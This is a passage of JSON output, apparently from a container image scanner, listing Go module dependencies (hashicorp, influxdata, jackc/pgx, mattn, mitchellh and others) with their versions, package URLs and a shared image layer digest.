"pkg:golang/github.com/grpc-ecosystem/grpc-gateway/v2@v2.28.0", "UID": "7856339f23385a5c" }, "Version": "v2.28.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/consul/api@v1.32.1", "Name": "github.com/hashicorp/consul/api", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/consul/api@v1.32.1", "UID": "744acb4937ff6875" }, "Version": "v1.32.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/errwrap@v1.1.0", "Name": "github.com/hashicorp/errwrap", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/errwrap@v1.1.0", "UID": "dade46959683ce4c" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-cleanhttp@v0.5.2", "Name": "github.com/hashicorp/go-cleanhttp", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-cleanhttp@v0.5.2", "UID": "722e4b36e040d684" }, "Version": "v0.5.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-hclog@v1.6.3", "Name": "github.com/hashicorp/go-hclog", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-hclog@v1.6.3", "UID": "224665ffc96927dd" }, "Version": "v1.6.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-immutable-radix@v1.3.1", "Name": "github.com/hashicorp/go-immutable-radix", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-immutable-radix@v1.3.1", "UID": "fb2c50410a91f95e" }, "Version": "v1.3.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-metrics@v0.5.4", "Name": "github.com/hashicorp/go-metrics", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-metrics@v0.5.4", "UID": "4fa45b7d6314c56" }, "Version": "v0.5.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-msgpack/v2@v2.1.2", "Name": "github.com/hashicorp/go-msgpack/v2", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-msgpack/v2@v2.1.2", "UID": "418e6bb1806c0ed3" }, "Version": "v2.1.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-multierror@v1.1.1", "Name": "github.com/hashicorp/go-multierror", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-multierror@v1.1.1", "UID": "d07c4044cc7d8326" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-plugin@v1.7.0", "Name": "github.com/hashicorp/go-plugin", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-plugin@v1.7.0", "UID": "5ffb31c0857e3646" }, "Version": "v1.7.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-rootcerts@v1.0.2", "Name": "github.com/hashicorp/go-rootcerts", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-rootcerts@v1.0.2", "UID": "946fcf336b790561" }, "Version": "v1.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-secure-stdlib/plugincontainer@v0.5.0", "Name": "github.com/hashicorp/go-secure-stdlib/plugincontainer", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-secure-stdlib/plugincontainer@v0.5.0", "UID": "94f89ac9fff4a469" }, "Version": "v0.5.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-sockaddr@v1.0.7", "Name": "github.com/hashicorp/go-sockaddr", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-sockaddr@v1.0.7", "UID": "9c4acfbb244cc49" }, "Version": "v1.0.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-uuid@v1.0.3", "Name": "github.com/hashicorp/go-uuid", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-uuid@v1.0.3", "UID": "1b0ab74d8f25d57a" }, "Version": "v1.0.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-version@v1.7.0", "Name": "github.com/hashicorp/go-version", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-version@v1.7.0", "UID": "7cdd9218e806c0f6" }, "Version": "v1.7.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/golang-lru@v1.0.2", "Name": "github.com/hashicorp/golang-lru", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/golang-lru@v1.0.2", "UID": "4889b03e2d8b216a" }, "Version": "v1.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/golang-lru/v2@v2.0.7", "Name": "github.com/hashicorp/golang-lru/v2", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/golang-lru/v2@v2.0.7", "UID": "37c4fb82c0bec0bb" }, "Version": "v2.0.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/hcl/v2@v2.24.0", "Name": "github.com/hashicorp/hcl/v2", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/hcl/v2@v2.24.0", "UID": "3055003e47141d9c" }, "Version": "v2.24.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/serf@v0.10.2", "Name": "github.com/hashicorp/serf", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/serf@v0.10.2", "UID": "2d580ba6a794025a" }, "Version": "v0.10.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/yamux@v0.1.2", "Name": "github.com/hashicorp/yamux", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/yamux@v0.1.2", "UID": "947110519b5fa20b" }, "Version": "v0.1.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/huandu/xstrings@v1.5.0", "Name": "github.com/huandu/xstrings", "Identifier": { "PURL": "pkg:golang/github.com/huandu/xstrings@v1.5.0", "UID": "22f76703cbb4bcb9" }, "Version": "v1.5.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/influxdata/influxdb-client-go/v2@v2.13.0", "Name": "github.com/influxdata/influxdb-client-go/v2", "Identifier": { "PURL": "pkg:golang/github.com/influxdata/influxdb-client-go/v2@v2.13.0", "UID": "e6a57edf5cc7d68c" }, "Version": "v2.13.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/influxdata/influxql@v1.4.0", "Name": "github.com/influxdata/influxql", "Identifier": { "PURL": "pkg:golang/github.com/influxdata/influxql@v1.4.0", "UID": "7df842bb71e6f6cf" }, "Version": "v1.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/influxdata/line-protocol@v0.0.0-20210922203350-b1ad95c89adf", "Name": "github.com/influxdata/line-protocol", "Identifier": { "PURL": "pkg:golang/github.com/influxdata/line-protocol@v0.0.0-20210922203350-b1ad95c89adf", "UID": "70069d6d088f7d45" }, "Version": "v0.0.0-20210922203350-b1ad95c89adf", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/invopop/jsonschema@v0.13.0", "Name": "github.com/invopop/jsonschema", "Identifier": { "PURL": "pkg:golang/github.com/invopop/jsonschema@v0.13.0", "UID": "ca0754175f4b0be1" }, "Version": "v0.13.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jackc/pgpassfile@v1.0.0", "Name": "github.com/jackc/pgpassfile", "Identifier": { "PURL": "pkg:golang/github.com/jackc/pgpassfile@v1.0.0", "UID": "2a9e517b5586efa3" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jackc/pgservicefile@v0.0.0-20240606120523-5a60cdf6a761", "Name": "github.com/jackc/pgservicefile", "Identifier": { "PURL": "pkg:golang/github.com/jackc/pgservicefile@v0.0.0-20240606120523-5a60cdf6a761", "UID": "969393ad1fedd6fa" }, "Version": "v0.0.0-20240606120523-5a60cdf6a761", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jackc/pgx/v5@v5.9.2", "Name": "github.com/jackc/pgx/v5", "Identifier": { "PURL": "pkg:golang/github.com/jackc/pgx/v5@v5.9.2", "UID": "1ee63d9eb573eba1" }, "Version": "v5.9.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jackc/puddle/v2@v2.2.2", "Name": "github.com/jackc/puddle/v2", "Identifier": { "PURL": "pkg:golang/github.com/jackc/puddle/v2@v2.2.2", "UID": "1bb686ebd7cb3d70" }, "Version": "v2.2.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jaegertracing/jaeger-idl@v0.6.0", "Name": "github.com/jaegertracing/jaeger-idl", "Identifier": { "PURL": "pkg:golang/github.com/jaegertracing/jaeger-idl@v0.6.0", "UID": "4ff1fb1a9782c6a" }, "Version": "v0.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jcmturner/aescts/v2@v2.0.0", "Name": "github.com/jcmturner/aescts/v2", "Identifier": { "PURL": "pkg:golang/github.com/jcmturner/aescts/v2@v2.0.0", "UID": "74a8f9c20f4efe66" }, "Version": "v2.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jcmturner/dnsutils/v2@v2.0.0", "Name": "github.com/jcmturner/dnsutils/v2", "Identifier": { "PURL": "pkg:golang/github.com/jcmturner/dnsutils/v2@v2.0.0", "UID": "a853000a11227ef7" }, "Version": "v2.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jcmturner/gofork@v1.7.6", "Name": "github.com/jcmturner/gofork", "Identifier": { "PURL": "pkg:golang/github.com/jcmturner/gofork@v1.7.6", "UID": "379a1576b86673e0" }, "Version": "v1.7.6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jcmturner/goidentity/v6@v6.0.1", "Name": "github.com/jcmturner/goidentity/v6", "Identifier": { "PURL": "pkg:golang/github.com/jcmturner/goidentity/v6@v6.0.1", "UID": "e3f9fa452a666d49" }, "Version": "v6.0.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jcmturner/gokrb5/v8@v8.4.4", "Name": "github.com/jcmturner/gokrb5/v8", "Identifier": { "PURL": "pkg:golang/github.com/jcmturner/gokrb5/v8@v8.4.4", "UID": "609e3198455be315" }, "Version": "v8.4.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jcmturner/rpc/v2@v2.0.3", "Name": "github.com/jcmturner/rpc/v2", "Identifier": { "PURL": "pkg:golang/github.com/jcmturner/rpc/v2@v2.0.3", "UID": "b10ce356760562b4" }, "Version": "v2.0.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jessevdk/go-flags@v1.6.1", "Name": "github.com/jessevdk/go-flags", "Identifier": { "PURL": "pkg:golang/github.com/jessevdk/go-flags@v1.6.1", "UID": "4708731bc6b72a8d" }, "Version": "v1.6.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jhump/protoreflect@v1.17.0", "Name": "github.com/jhump/protoreflect", "Identifier": { "PURL": "pkg:golang/github.com/jhump/protoreflect@v1.17.0", "UID": "4a5afb5f90e0c97b" }, "Version": "v1.17.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jmespath-community/go-jmespath@v1.1.1", "Name": "github.com/jmespath-community/go-jmespath", "Identifier": { "PURL": "pkg:golang/github.com/jmespath-community/go-jmespath@v1.1.1", "UID": "205baf784cdfcb03" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jmespath/go-jmespath@v0.4.0", "Name": "github.com/jmespath/go-jmespath", "Identifier": { "PURL": "pkg:golang/github.com/jmespath/go-jmespath@v0.4.0", "UID": "8ad0ce84f8855abf" }, "Version": "v0.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jmoiron/sqlx@v1.4.0", "Name": "github.com/jmoiron/sqlx", "Identifier": { "PURL": "pkg:golang/github.com/jmoiron/sqlx@v1.4.0", "UID": "9fee8bd870277de7" }, "Version": "v1.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/josharian/intern@v1.0.0", "Name": "github.com/josharian/intern", "Identifier": { "PURL": "pkg:golang/github.com/josharian/intern@v1.0.0", "UID": "7a73d2bc9c4e8e96" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/joshlf/go-acl@v0.0.0-20200411065538-eae00ae38531", "Name": "github.com/joshlf/go-acl", "Identifier": { "PURL": "pkg:golang/github.com/joshlf/go-acl@v0.0.0-20200411065538-eae00ae38531", "UID": "6c436eeb5303704a" }, "Version": "v0.0.0-20200411065538-eae00ae38531", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jpillora/backoff@v1.0.0", "Name": "github.com/jpillora/backoff", "Identifier": { "PURL": "pkg:golang/github.com/jpillora/backoff@v1.0.0", "UID": "9a82e0c4bafae7c4" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/json-iterator/go@v1.1.12", "Name": "github.com/json-iterator/go", "Identifier": { "PURL": "pkg:golang/github.com/json-iterator/go@v1.1.12", "UID": "cc3bc8409a492106" }, "Version": "v1.1.12", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jszwedko/go-datemath@v0.1.1-0.20230526204004-640a500621d6", "Name": "github.com/jszwedko/go-datemath", "Identifier": { "PURL": "pkg:golang/github.com/jszwedko/go-datemath@v0.1.1-0.20230526204004-640a500621d6", "UID": "5cefc196f36b2825" }, "Version": "v0.1.1-0.20230526204004-640a500621d6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/klauspost/compress@v1.18.5", "Name": "github.com/klauspost/compress", "Identifier": { "PURL": "pkg:golang/github.com/klauspost/compress@v1.18.5", "UID": "24c7e466783b9481" }, "Version": "v1.18.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/klauspost/cpuid/v2@v2.3.0", "Name": "github.com/klauspost/cpuid/v2", "Identifier": { "PURL": "pkg:golang/github.com/klauspost/cpuid/v2@v2.3.0", "UID": "c75136953d515cc3" }, "Version": "v2.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/klauspost/pgzip@v1.2.6", "Name": "github.com/klauspost/pgzip", "Identifier": { "PURL": "pkg:golang/github.com/klauspost/pgzip@v1.2.6", "UID": "1d0de8a80e55b69c" }, "Version": "v1.2.6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/kylelemons/godebug@v1.1.0", "Name": "github.com/kylelemons/godebug", "Identifier": { "PURL": "pkg:golang/github.com/kylelemons/godebug@v1.1.0", "UID": "32a346d9e7dfcf1d" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/lann/builder@v0.0.0-20180802200727-47ae307949d0", "Name": "github.com/lann/builder", "Identifier": { "PURL": "pkg:golang/github.com/lann/builder@v0.0.0-20180802200727-47ae307949d0", "UID": "c6e871e091e573f8" }, "Version": "v0.0.0-20180802200727-47ae307949d0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/lann/ps@v0.0.0-20150810152359-62de8c46ede0", "Name": "github.com/lann/ps", "Identifier": { "PURL": "pkg:golang/github.com/lann/ps@v0.0.0-20150810152359-62de8c46ede0", "UID": "edcd767f348f0d9" }, "Version": "v0.0.0-20150810152359-62de8c46ede0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/lestrrat-go/strftime@v1.0.4", "Name": "github.com/lestrrat-go/strftime", "Identifier": { "PURL": "pkg:golang/github.com/lestrrat-go/strftime@v1.0.4", "UID": "16f0dd91ebc4f919" }, "Version": "v1.0.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/lib/pq@v1.10.9", "Name": "github.com/lib/pq", "Identifier": { "PURL": "pkg:golang/github.com/lib/pq@v1.10.9", "UID": "a9b17cbbc013c46" }, "Version": "v1.10.9", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/m3db/prometheus_remote_client_golang@v0.4.4", "Name": "github.com/m3db/prometheus_remote_client_golang", "Identifier": { "PURL": "pkg:golang/github.com/m3db/prometheus_remote_client_golang@v0.4.4", "UID": "8304bfd177130149" }, "Version": "v0.4.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mailru/easyjson@v0.9.1", "Name": "github.com/mailru/easyjson", "Identifier": { "PURL": "pkg:golang/github.com/mailru/easyjson@v0.9.1", "UID": "361c392255380151" }, "Version": "v0.9.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattbaird/jsonpatch@v0.0.0-20240118010651-0ba75a80ca38", "Name": "github.com/mattbaird/jsonpatch", "Identifier": { "PURL": "pkg:golang/github.com/mattbaird/jsonpatch@v0.0.0-20240118010651-0ba75a80ca38", "UID": "aaef072dc2a979b" }, "Version": "v0.0.0-20240118010651-0ba75a80ca38", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattetti/filebuffer@v1.0.1", "Name": "github.com/mattetti/filebuffer", "Identifier": { "PURL": "pkg:golang/github.com/mattetti/filebuffer@v1.0.1", "UID": "472d5b03ea3f7dd" }, "Version": "v1.0.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattn/go-colorable@v0.1.14", "Name": "github.com/mattn/go-colorable", "Identifier": { "PURL": "pkg:golang/github.com/mattn/go-colorable@v0.1.14", "UID": "6d0a21dc43527995" }, "Version": "v0.1.14", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattn/go-ieproxy@v0.0.12", "Name": "github.com/mattn/go-ieproxy", "Identifier": { "PURL": "pkg:golang/github.com/mattn/go-ieproxy@v0.0.12", "UID": "4cf32ba67661a5a9" }, "Version": "v0.0.12", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattn/go-isatty@v0.0.20", "Name": "github.com/mattn/go-isatty", "Identifier": { "PURL": "pkg:golang/github.com/mattn/go-isatty@v0.0.20", "UID": "1a1edd440d367379" }, "Version": "v0.0.20", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattn/go-runewidth@v0.0.19", "Name": "github.com/mattn/go-runewidth", "Identifier": { "PURL": "pkg:golang/github.com/mattn/go-runewidth@v0.0.19", "UID": "7f141143c677c199" }, "Version": "v0.0.19", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/matttproud/golang_protobuf_extensions@v1.0.4", "Name": "github.com/matttproud/golang_protobuf_extensions", "Identifier": { "PURL": "pkg:golang/github.com/matttproud/golang_protobuf_extensions@v1.0.4", "UID": "85ba9edbbb9daa5e" }, "Version": "v1.0.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/maypok86/otter@v1.2.4", "Name": "github.com/maypok86/otter", "Identifier": { "PURL": "pkg:golang/github.com/maypok86/otter@v1.2.4", "UID": "9e8de8ba6423ddb0" }, "Version": "v1.2.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mdlayher/socket@v0.5.1", "Name": "github.com/mdlayher/socket", "Identifier": { "PURL": "pkg:golang/github.com/mdlayher/socket@v0.5.1", "UID": "a1865676ff0046f5" }, "Version": "v0.5.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mdlayher/vsock@v1.2.1", "Name": "github.com/mdlayher/vsock", "Identifier": { "PURL": "pkg:golang/github.com/mdlayher/vsock@v1.2.1", "UID": "c25a192a5090d259" }, "Version": "v1.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mfridman/interpolate@v0.0.2", "Name": "github.com/mfridman/interpolate", "Identifier": { "PURL": "pkg:golang/github.com/mfridman/interpolate@v0.0.2", "UID": "b658bb279f20428a" }, "Version": "v0.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/microsoft/go-mssqldb@v1.9.6", "Name": "github.com/microsoft/go-mssqldb", "Identifier": { "PURL": "pkg:golang/github.com/microsoft/go-mssqldb@v1.9.6", "UID": "53fbb467399402f3" }, "Version": "v1.9.6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/miekg/dns@v1.1.69", "Name": "github.com/miekg/dns", "Identifier": { "PURL": "pkg:golang/github.com/miekg/dns@v1.1.69", "UID": "d4db5888a6203486" }, "Version": "v1.1.69", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mitchellh/copystructure@v1.2.0", "Name": "github.com/mitchellh/copystructure", "Identifier": { "PURL": "pkg:golang/github.com/mitchellh/copystructure@v1.2.0", "UID": "85b748b6dadb9599" }, "Version": "v1.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mitchellh/go-homedir@v1.1.0", "Name": "github.com/mitchellh/go-homedir", "Identifier": { "PURL": "pkg:golang/github.com/mitchellh/go-homedir@v1.1.0", "UID": "f5cdfc3609d2e64d" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mitchellh/go-wordwrap@v1.0.1", "Name": "github.com/mitchellh/go-wordwrap", "Identifier": { "PURL": "pkg:golang/github.com/mitchellh/go-wordwrap@v1.0.1", "UID": "8e0a7e886f0495e3" }, "Version": "v1.0.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mitchellh/mapstructure@v1.5.1-0.20231216201459-8508981c8b6c", "Name": "github.com/mitchellh/mapstructure", "Identifier": { "PURL": "pkg:golang/github.com/mitchellh/mapstructure@v1.5.1-0.20231216201459-8508981c8b6c", "UID": "999666da756e7e94" }, "Version": "v1.5.1-0.20231216201459-8508981c8b6c", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mitchellh/reflectwalk@v1.0.2", "Name": "github.com/mitchellh/reflectwalk", "Identifier": { "PURL": "pkg:golang/github.com/mitchellh/reflectwalk@v1.0.2", "UID": "384515eafe19029c" }, "Version": "v1.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/csvq@v1.18.1", "Name": "github.com/mithrandie/csvq", "Identifier": { "PURL": 